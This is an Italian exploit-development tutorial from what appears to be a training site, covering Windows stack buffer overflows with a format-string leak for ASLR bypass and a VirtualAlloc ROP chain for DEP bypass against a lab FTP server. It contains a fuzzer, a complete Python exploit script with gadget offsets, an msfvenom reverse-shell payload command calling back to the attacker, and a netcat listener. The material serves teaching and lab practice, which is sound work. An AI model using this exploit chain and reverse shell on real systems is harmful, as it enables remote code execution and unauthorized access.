guides-resources

Windows Buffer Overflow Exploit: ASLR e DEP Bypass con ROP Chain

Windows Buffer Overflow Exploit: ASLR e DEP Bypass con ROP Chain

Guida completa al Windows Buffer Overflow Exploit: format string leak per bypassare ASLR, ROP chain per bypassare DEP, VirtualAlloc, SEH, egg hunter.

  • Pubblicato il 2026-03-19
  • Tempo di lettura: 11 min

Il buffer overflow su Windows è ancora oggi una delle tecniche fondamentali nell’exploit development. Capire come funziona — e come bypassare le protezioni moderne come ASLR e DEP — è il cuore del windows exploit development a livello professionale.

In questa guida trovi tutto quello che serve: dalla teoria dei registri CPU fino alla costruzione di una ROP chain completa con VirtualAlloc, passando per format string leak e DEP bypass. Ogni concetto è illustrato con esempi reali tratti da un caso concreto: l’exploit di una macchina con un server FTP vulnerabile, documentato in dettaglio nella guida pratica su Osaka.

Per approfondire il contesto Windows, consulta anche: https://hackita.it/articoli/windows , mentre per il contesto active directory consulta anche https://hackita.it/articoli/active-directory

Se vuoi una panoramica più ampia sul buffer overflow prima di entrare nei dettagli di Windows, leggi prima questa guida introduttiva.


Cos’è un Buffer Overflow #

Un buffer overflow avviene quando un programma scrive più dati di quanti un buffer possa contenere, sovrascrivendo la memoria adiacente. Su Windows, il target classico è lo stack.

Lo stack cresce verso il basso. Quando allochi un buffer locale in una funzione e ci scrivi troppi dati, sovrascrivi — nell’ordine — il buffer stesso, il saved EBP e infine l’EIP (o RIP su x64): il registro che punta alla prossima istruzione da eseguire.

Sovrascrivi EIP → controlli il flusso del programma → esegui codice arbitrario.

Le protezioni moderne (ASLR, DEP, SafeSEH, Stack Canary) rendono tutto più complesso. Ma non impossibile.


Tipi di Buffer Overflow #

Non tutti i buffer overflow sono uguali. I principali sono:

  • Stack-based BOF → sovrascrivi EIP/RIP (caso più comune)
  • Heap-based BOF → corrompi strutture heap
  • SEH Overflow → sovrascrivi Structured Exception Handler
  • Unicode BOF → limitazioni sui byte utilizzabili

Questa guida si concentra sullo stack-based BOF, il più utilizzato nel Windows exploit development.


SEH Exploitation (Structured Exception Handler) #

Su Windows è possibile sfruttare buffer overflow tramite la sovrascrittura della SEH chain.

Quando un’eccezione viene generata, Windows attraversa la SEH chain per trovare un handler. Se controlli questa chain, puoi dirottare l’esecuzione.

Tecnica:

  • Sovrascrivi Next SEH
  • Sovrascrivi SEH Handler
  • Triggeri un’eccezione → esecuzione controllata

Comandi utili:

text
!mona seh
!mona find -s "\xeb\x06\x90\x90" -m target.exe

Questa tecnica è comune nei vecchi binari Windows senza protezioni moderne.


Registri CPU Fondamentali #

Capire i registri è il prerequisito di tutto. Nell’exploit development li usi in modo diretto: non come variabili, ma come leve per controllare l’esecuzione.

Architettura x86 (32-bit) #

RegistroNome completoRuolo nell’exploit
EIPInstruction PointerPunta alla prossima istruzione. Target principale del BOF.
ESPStack PointerPunta alla cima dello stack. Dopo il crash, ESP punta al payload.
EBPBase PointerRiferimento del frame corrente. Spesso sovrascritto prima di EIP.
EAXAccumulatorValore di ritorno delle funzioni. Usato per puntatori nella ROP.
EBXBase RegisterRegistro generico. Nella ROP chain: primo parametro a VirtualAlloc.
ECXCounter RegisterContatore nei loop. Nella ROP: terzo parametro (flAllocationType).
EDXData RegisterI/O e moltiplicazioni. Nella ROP: secondo parametro (dwSize).
ESISource IndexIndice sorgente. Nella ROP: spesso usato per puntatori a funzione.
EDIDestination IndexIndice destinazione. Nella ROP: spesso usato come ROP NOP.
EFLAGSFlag RegisterFlag di stato (ZF, CF, SF, OF). Condizionano i salti condizionali.

Architettura x86-64 (64-bit) #

Su x64 i registri si estendono a 64 bit e cambiano le convenzioni di chiamata. Puoi accedere alle porzioni inferiori per compatibilità.

x64Parte bassa 32-bitParte bassa 16-bitParte bassa 8-bit
RAXEAXAXAL / AH
RBXEBXBXBL / BH
RCXECXCXCL / CH
RDXEDXDXDL / DH
RSIESISISIL
RDIEDIDIDIL
RSPESPSPSPL
RBPEBPBPBPL
RIP(no accesso diretto)

Su x64 esistono anche 8 registri aggiuntivi: R8R15, ognuno con le sue porzioni (R8D, R8W, R8B).

Convenzioni di chiamata a confronto #

PiattaformaParametri passati viaReturn value
x86 WindowsStack (da destra a sinistra)EAX
x64 WindowsRCX, RDX, R8, R9, poi stackRAX
x64 Linux (SysV)RDI, RSI, RDX, RCX, R8, R9RAX

Questo cambia completamente come si costruisce una ROP chain su x64: invece di PUSHAD e stack, devi caricare i parametri nei registri giusti prima di ogni chiamata.

Registri di segmento #

Usati raramente nell’exploit development moderno, ma utili saperli:

RegistroUso tipico
CSCode Segment
DSData Segment
SSStack Segment
ESExtra Segment
FSThread Information Block (TIB) su Windows — contiene SEH, TEB, PEB
GSThread Local Storage su x64 Linux; stack canary su Windows x64

FS:[0] su Windows 32-bit punta alla SEH chain. GS:[0x28] su Windows 64-bit contiene il stack cookie — il canary. Entrambi sono rilevanti per tecniche avanzate di bypass.


Protezioni Windows: il Quadro Completo #

Prima di attaccare qualsiasi binario su Windows, devi sapere esattamente cosa hai di fronte.

ProtezioneCosa faCome si bypassa
ASLRRandomizza base address di moduli e stackMemory leak, brute force, info leak
DEP / NXStack non eseguibileROP chain
SafeSEHValida i puntatori ai gestori di eccezioneGadget fuori dalla SafeSEH list
SEHOPVerifica l’integrità della catena SEHTecniche di bypass specifiche
Stack Cookie (GS)Canary sullo stack — rileva sovrascrittureInfo leak, sovrascrittura precisa
CFGControl Flow Guard — valida i target dei saltiGadget all’interno della whitelist
text
!mona modules -m target.exe

Questo è il primo comando da eseguire. Ti restituisce tutti i flag per ogni modulo caricato.


Format String Vulnerability #

La Teoria #

printf("%s", input) è sicuro. La format string è fissa.

printf(input) è vulnerabile. L’input dell’utente diventa la format string. Se passi %x, legge e stampa il prossimo valore dallo stack. Se ne passi 100, fotografi 100 valori consecutivi.

I Format Specifier Principali #

SpecifierComportamento
%xLegge 4 byte dallo stack, stampa in hex
%dLegge 4 byte dallo stack, stampa come intero decimale
%sLegge 4 byte come puntatore, stampa la stringa a quell’indirizzo
%pCome %x ma formato puntatore (0x...)
%08xCome %x con zero-padding a 8 caratteri
%nScrive sullo stack il numero di caratteri stampati — write primitive

Accesso Diretto con %N$x #

Su Linux e su alcuni sistemi Windows puoi accedere direttamente all’N-esimo argomento sullo stack:

text
%1$x  → primo argomento
%7$x  → settimo argomento

Su Windows con MSVCRT il supporto è parziale. Il metodo più affidabile rimane la ripetizione sequenziale: %x|%x|%x|...

Come si Usa in Pratica #

Nel caso reale analizzato nella guida su Osaka, il server FTP espone un comando DEBUG con questa vulnerabilità:

c
// Vulnerabile — l'input diventa la format string
sub_401060(&v23, v26, (char)sub_4010F0);

Mandando %x| ripetuto 100 volte si ottiene una fotografia dello stack:

text
DEBUG a310f0|7750c9b4|00000000|...

Il primo valore (a310f0) è un indirizzo interno del binario. Da lì si ricava la base reale del modulo — bypassando ASLR.


ASLR Bypass #

Come Funziona ASLR #

ASLR randomizza la base dei moduli ad ogni avvio. Non randomizza gli offset interni — quelli li decide il compilatore alla compilazione e sono fissi per ogni build.

La logica è quella di una città che si sposta ogni giorno. Se il bar è sempre a 2km dalla piazza, basta conoscere la posizione della piazza per trovare il bar.

Il Calcolo degli Offset #

Con Immunity Debugger + mona.py:

text
!mona modules -m target.exe    → base statica di debug: 0x00a30000
!mona jmp -r esp -m target.exe → jmp esp: 0x00a310da

Il valore leakato via format string: 0xa310f0

text
offset_leak    = 0xa310f0 - 0xa30000 = 0x10f0  ← fisso per sempre
offset_jmp_esp = 0xa310da - 0xa30000 = 0x10da  ← fisso per sempre

Ad ogni avvio del processo:

python
nuova_base    = valore_leakato - offset_leak
jmp_esp_reale = nuova_base + offset_jmp_esp

Questo vale per qualsiasi gadget, qualsiasi funzione, qualsiasi indirizzo nel modulo. Un leak → tutto il layout è noto.


Buffer Overflow Exploitation #

Checklist Rapida #

  1. Fuzzing — trova la lunghezza del crash
  2. Offset esatto — calcola i byte precisi prima di EIP
  3. Conferma controllo EIPB*4 in EIP → 42424242
  4. Bad chars — identifica i byte filtrati o corrotti
  5. JMP ESP — trova il trampolino verso il payload
  6. Shellcode / ROP — costruisci il payload finale

Fuzzing #

python
import socket

for size in range(100, 2000, 100):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("TARGET", PORT))
    s.recv(1024)
    s.send(b"COMANDO " + b"A" * size + b"\r\n")
    s.close()

Annota la dimensione al crash.

Offset Esatto #

bash
msf-pattern_create -l 500 > pattern.txt
# Invia il pattern al target
# Leggi EIP nel debugger

msf-pattern_offset -q VALORE_EIP
# Output: [*] Exact match at offset 272

Conferma EIP #

python
payload = b"A" * 272 + b"B" * 4 + b"C" * 100
# EIP = 42424242 → controllo confermato
# ESP punta ai C → è qui che va il payload

Bad Characters #

text
!mona bytearray -b "\x00"
python
badchars = bytes(range(1, 256))
payload = b"A" * 272 + b"B" * 4 + badchars

Dopo il crash:

text
!mona compare -f bytearray.bin -a INDIRIZZO_ESP

Ripeti escludendo ogni bad char trovato fino a:

text
Hooray, normal shellcode unmodified
Bytes omitted: 00

Nota: oltre a \x00, in molti scenari reali sono bad characters anche:

  • \x0a (newline)
  • \x0d (carriage return)
  • \x20 (spazio)
  • \xff (dipende dal protocollo)

In questi casi è necessario:

  • usare encoder come x86/shikata_ga_nai
  • oppure generare shellcode custom

JMP ESP — il Trampolino #

Non puoi hardcodare un indirizzo sullo stack — ASLR lo randomizza. Hai bisogno di un trampolino: un indirizzo fisso (o calcolato dal leak) che contenga l’istruzione JMP ESP.

text
!mona jmp -r esp -m target.exe

JMP ESP in opcode è \xff\xe4. Quando EIP viene messo su JMP ESP, il flusso salta direttamente su ciò che hai messo dopo EIP nello stack — cioè il tuo payload.


DEP Bypass con ROP Chain #

Cos’è DEP #

DEP (Data Execution Prevention) segna lo stack come non eseguibile. Qualsiasi tentativo di eseguire codice in quella regione genera un’eccezione di accesso.

Shellcode direttamente sullo stack → blocco immediato. Serve un’altra strategia.

Cos’è una ROP Chain #

ROP (Return-Oriented Programming) non inietta nuovo codice. Usa gadget — frammenti di istruzioni già presenti nel binario che terminano con RETN.

RETN prende il valore in cima allo stack e ci salta. Se controlli lo stack, controlli la sequenza dei gadget.

La differenza fondamentale tra le istruzioni:

  • POP registro — carica un valore nel registro. Non esegue nulla. Prepara i registri.
  • JMP indirizzo — salta e esegue codice a quell’indirizzo.
  • RETN — è un POP RIP/EIP implicito. Prende l’indirizzo dal top dello stack e salta.

Per una spiegazione approfondita delle ROP chain consulta la guida dedicata.

Strategia: VirtualAlloc + Shellcode Esterno #

VirtualAlloc è una Windows API (kernel32.dll) che alloca nuova memoria con permessi configurabili. Con il flag PAGE_EXECUTE_READWRITE (0x40), quella memoria è sia scrivibile che eseguibile.

Il piano:

  1. ROP chain prepara i parametri
  2. Chiama VirtualAlloc
  3. Copia lo shellcode nella nuova regione
  4. Salta allo shellcode

DEP non blocca quella memoria — l’abbiamo resa eseguibile esplicitamente tramite API di sistema.

PUSHAD — Il Meccanismo di Lancio #

PUSHAD spinge tutti i registri generali sullo stack in ordine fisso: EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI

VirtualAlloc si aspetta i parametri in questo layout. La ROP chain li carica nei registri giusti, poi un singolo gadget PUSHAD + RETN li mette tutti sullo stack in ordine — pronti per la chiamata a VirtualAlloc.


VirtualAlloc vs VirtualProtect #

VirtualAlloc e VirtualProtect sono le due API principali usate per bypassare DEP.

  • VirtualAlloc → alloca nuova memoria con permessi eseguibili
  • VirtualProtect → modifica i permessi di memoria già esistente

VirtualProtect è spesso più semplice da usare perché:

  • non richiede nuova allocazione
  • permette di rendere eseguibile direttamente lo stack (ESP)

Esempio:

text
VirtualProtect(shellcode_addr, size, 0x40, &oldProtect)

In molti exploit reali, VirtualProtect è preferita per semplicità e affidabilità.


Stack Pivot #

Non sempre ESP punta al nostro payload. In questi casi è necessario eseguire uno stack pivot.

Uno stack pivot consiste nello spostare ESP verso una zona controllata in memoria.

Gadget comuni:

  • ADD ESP, 0xNN
  • XCHG EAX, ESP
  • MOV ESP, EAX

Senza stack pivot, la ROP chain potrebbe non essere eseguita correttamente.


Costruzione della ROP Chain #

Generazione con mona.py #

text
!mona rop -m target.exe

mona genera automaticamente una ROP chain candidata con tutti i gadget necessari. L’output include offset rispetto alla base del modulo — fondamentale per l’ASLR bypass.

Schema della Chain (con base dinamica) #

python
rop_gadgets = [
    # Prepara EBP (skip filler)
    0x7e14 + nuova_base,   # POP EBP # RETN
    0x7e14 + nuova_base,   # skip — valore di EBP = stesso gadget

    # EBX = lpAddress (1 → VirtualAlloc decide)
    0x13bf + nuova_base,   # POP EBX # RETN
    0x1,                   # EBX = 1

    # EDX = dwSize (0x1000 = 4096 byte)
    0x1bd7e + nuova_base,  # POP EDX # RETN
    0x1000,                # EDX = 0x1000

    # ECX = flAllocationType (0x40 = PAGE_EXECUTE_READWRITE)
    0x5181 + nuova_base,   # POP ECX # RETN
    0x40,                  # ECX = 0x40

    # EDI = ROP NOP (RETN — non fa nulla, avanza)
    0x4655 + nuova_base,   # POP EDI # RETN
    0x4682 + nuova_base,   # valore EDI = gadget RETN

    # ESI = JMP [EAX] — trampolino verso VirtualAlloc
    0xc9d6 + nuova_base,   # POP ESI # RETN
    0x14adb + nuova_base,  # JMP [EAX] — trovato con !mona find -s "\xff\x20"

    # EAX = puntatore a VirtualAlloc
    0x1d2bf + nuova_base,  # POP EAX # RETN
    0x1e008 + nuova_base,  # ptr VirtualAlloc() — dalla IAT

    # Innesca tutto
    0x10d6 + nuova_base,   # PUSHAD # RETN
    0x10da + nuova_base,   # JMP ESP → salta allo shellcode dopo la chain
]

Il Meccanismo ESI + EAX + JMP [EAX] #

JMP [EAX] (\xff\x20 in opcode) salta all’indirizzo contenuto in EAX — non a EAX stesso. Se EAX punta all’entry nella IAT di VirtualAlloc, JMP [EAX] porta direttamente all’API.

text
!mona find -s "\xff\x20" -m target.exe

Il meccanismo è identico a quello classico EIP → JMP ESP → shellcode, ma un livello sopra:

text
ESI → JMP [EAX] → EAX → VirtualAlloc

VirtualAlloc e Execution Flow #

Parametri di VirtualAlloc #

c
LPVOID VirtualAlloc(
    LPVOID lpAddress,         // EBX — NULL o indirizzo suggerito
    SIZE_T dwSize,            // EDX  dimensione in byte (0x1000)
    DWORD  flAllocationType,  // ECX — MEM_COMMIT | MEM_RESERVE (0x3000) o solo MEM_COMMIT
    DWORD  flProtect          // EAX — PAGE_EXECUTE_READWRITE (0x40)
);

Nota: nella ROP chain sopra, EBX/EDX/ECX/EAX sono caricati nelle posizioni corrette per PUSHAD. Dopo PUSHAD, i valori sono sullo stack nell’ordine che VirtualAlloc si aspetta.

Il Flusso Completo #

text
[OVERFLOW]
    │
    ▼
[EIP sovrascitto con JMP ESP]
    │
    ▼
[ROP Chain sullo stack]
    │  POP EBP / EBX / EDX / ECX / EDI / ESI / EAX
    │  (carica i parametri nei registri)
    │
    ▼
[PUSHAD] → mette tutto sullo stack in ordine
    │
    ▼
[ESI → JMP [EAX]] → salta a VirtualAlloc
    │
    ▼
[VirtualAlloc] → alloca memoria PAGE_EXECUTE_READWRITE
    │
    ▼
[JMP ESP] → salta allo shellcode (dopo la chain)
    │
    ▼
[SHELLCODE esegue nella memoria appena allocata]
    │
    ▼
[SHELL]

Egg Hunter #

Quando lo spazio per il payload è limitato, è possibile utilizzare un egg hunter.

Un egg hunter è uno shellcode molto piccolo che cerca in memoria una sequenza specifica (egg) e poi esegue il payload completo.

Esempio:

text
T00WT00W + shellcode

L’egg hunter scansiona la memoria finché trova T00WT00W e poi esegue il payload.

Utile quando:

  • buffer troppo piccolo
  • restrizioni severe sui bad characters
  • exploit multi-stage

Exploit Finale #

Genera lo Shellcode #

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp \
  LHOST=TUO_IP LPORT=4444 -b "\x00" -f py

Script Python Completo #

python
import socket
from struct import pack

# Offset calcolati staticamente (fissi per questa build)
OFFSET_LEAK    = 0x10f0
OFFSET_JMP_ESP = 0x10da

# Connessione
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("TARGET_IP", TARGET_PORT))
s.recv(1024)

# Autenticazione (adattare al protocollo del target)
s.send(b"USER user\r\n"); s.recv(1024)
s.send(b"PASS pass\r\n"); s.recv(1024)

# ── ASLR Bypass ──────────────────────────────────────────────
s.send(b"DEBUG " + b"%x|" * 100 + b"\r\n")
leak_raw  = s.recv(1024)
leak_val  = int(leak_raw.split(b"|")[0].split(b" ")[-1], 16)
nuova_base    = leak_val - OFFSET_LEAK
jmp_esp_reale = nuova_base + OFFSET_JMP_ESP

print(f"[*] Leak:       {hex(leak_val)}")
print(f"[*] Base:       {hex(nuova_base)}")
print(f"[*] JMP ESP:    {hex(jmp_esp_reale)}")

# ── Shellcode ─────────────────────────────────────────────────
buf = b""
buf += b"\xdb\xc0..."  # output di msfvenom qui

# ── ROP Chain ─────────────────────────────────────────────────
rop_gadgets = [
    0x7e14  + nuova_base,   # POP EBP
    0x7e14  + nuova_base,   # (skip)
    0x13bf  + nuova_base,   # POP EBX
    0x1,
    0x1bd7e + nuova_base,   # POP EDX
    0x1000,
    0x5181  + nuova_base,   # POP ECX
    0x40,
    0x4655  + nuova_base,   # POP EDI
    0x4682  + nuova_base,   # RETN NOP
    0xc9d6  + nuova_base,   # POP ESI
    0x14adb + nuova_base,   # JMP [EAX]
    0x1d2bf + nuova_base,   # POP EAX
    0x1e008 + nuova_base,   # ptr VirtualAlloc
    0x10d6  + nuova_base,   # PUSHAD
    0x10da  + nuova_base,   # JMP ESP
]

rop = b"".join(pack("<I", g) for g in rop_gadgets)

# ── Payload ───────────────────────────────────────────────────
TOTAL   = 1000
payload  = b"A" * 272
payload += pack("<I", jmp_esp_reale)
payload += rop
payload += b"\x90" * 16
payload += buf
payload += b"C" * (TOTAL - len(payload))

input("[*] Listener pronto? premi invio...")
s.send(b"RETR " + payload + b"\r\n")

Listener #

bash
nc -lvnp 4444

Concetti Chiave #

Format String Vulnerabilityprintf(input) invece di printf("%s", input). Con %x ripetuto fotografi lo stack e ricavi indirizzi interni del programma.

ASLR — randomizza solo la base del modulo. Gli offset interni sono fissi. Un leak → tutto il layout è calcolabile.

NXCompat vs DEP — NXCompat è il flag del binario. DEP è la policy di Windows. Windows vince sempre, indipendentemente dal flag del binario.

ROP Chain — usa gadget già nel binario, ognuno termina con RETN. POP prepara i registri. JMP esegue. PUSHAD innesca la sequenza per VirtualAlloc.

VirtualAlloc — alloca memoria eseguibile fuori dallo stack. DEP non la tocca. Shellcode → lì dentro → esecuzione.

JMP [EAX] — salta all’indirizzo contenuto in EAX. Usato per raggiungere VirtualAlloc tramite la IAT del binario. Stesso schema di JMP ESP ma un livello di indirezione sopra.

Convenzione di chiamata x86 vs x64 — su x86 i parametri vanno nello stack (sfruttato con PUSHAD). Su x64 vanno nei registri RCX, RDX, R8, R9. Le ROP chain su x64 devono essere costruite di conseguenza.


FAQ #

Cos’è un buffer overflow? Vulnerabilità che sovrascrive memoria oltre i limiti di un buffer. Sullo stack permette di controllare EIP e dirottare l’esecuzione.

ASLR rende impossibile l’exploit? No. ASLR randomizza la base, non gli offset interni. Un singolo leak di un indirizzo del modulo è sufficiente per calcolare tutto il resto.

DEP blocca sempre lo shellcode sullo stack? Sì. Ma non blocca codice in regioni allocate con PAGE_EXECUTE_READWRITE. VirtualAlloc è la soluzione standard.

Cosa cambia su 64-bit? I registri si allargano (RAX, RIP, RSP…), la convenzione di chiamata cambia (parametri in RCX/RDX/R8/R9 invece dello stack), e le tecniche ROP devono adattarsi. I principi fondamentali rimangono identici.

Immunity Debugger funziona su 64-bit? No, Immunity è solo x86. Su 64-bit si usa WinDbg, x64dbg o gdb su Linux. Il workflow concettuale è lo stesso.

Quanto conta mona.py? Tantissimo. Automatizza la ricerca di gadget, bad chars, moduli senza protezioni e la generazione della ROP chain. Su Windows è lo strumento standard per il windows exploit development.

Come si costruisce un exploit buffer overflow su Windows? Serve controllare EIP, ottenere un leak per bypassare ASLR e costruire una ROP chain per bypassare DEP, tipicamente usando VirtualAlloc o VirtualProtect.


Cheat Sheet #

text
Fuzzing:          python3 fuzzer.py → trova crash size
Offset:           msf-pattern_create / msf-pattern_offset
Controllo EIP:    B*4 → 42424242 in EIP
Bad chars:        !mona bytearray + !mona compare
JMP ESP:          !mona jmp -r esp -m target.exe
JMP [EAX]:        !mona find -s "\xff\x20" -m target.exe
ROP chain:        !mona rop -m target.exe
Shellcode:        msfvenom -p windows/shell_reverse_tcp -b "\x00" -f py
ASLR bypass:      leak via format string → calcola offset → nuova base
DEP bypass:       ROP + VirtualAlloc(0x40) → JMP ESP → shellcode
ProtezioneTecnica di bypass
ASLRFormat string leak + calcolo offset
DEPROP chain + VirtualAlloc
SafeSEHGadget in moduli non-SafeSEH
Stack CookieInfo leak o sovrascrittura mirata

Risorse #


Guida tecnica scritta a scopo educativo per HackIta. Testa solo su macchine di tua proprietà o su piattaforme autorizzate come Proving Grounds.

Vuoi diventare forte su exploit development e prepararti per OSCP? → hackita.it/servizi

#buffer overflow windows #bof

DIVENTA PARTE DELL’ÉLITE DELL’HACKING ETICO.

Accedi a risorse avanzate, lab esclusivi e strategie usate dai veri professionisti della cybersecurity.

Non sono un robot

Iscrivendoti accetti di ricevere la newsletter di HACKITA. Ti puoi disiscrivere in qualsiasi momento.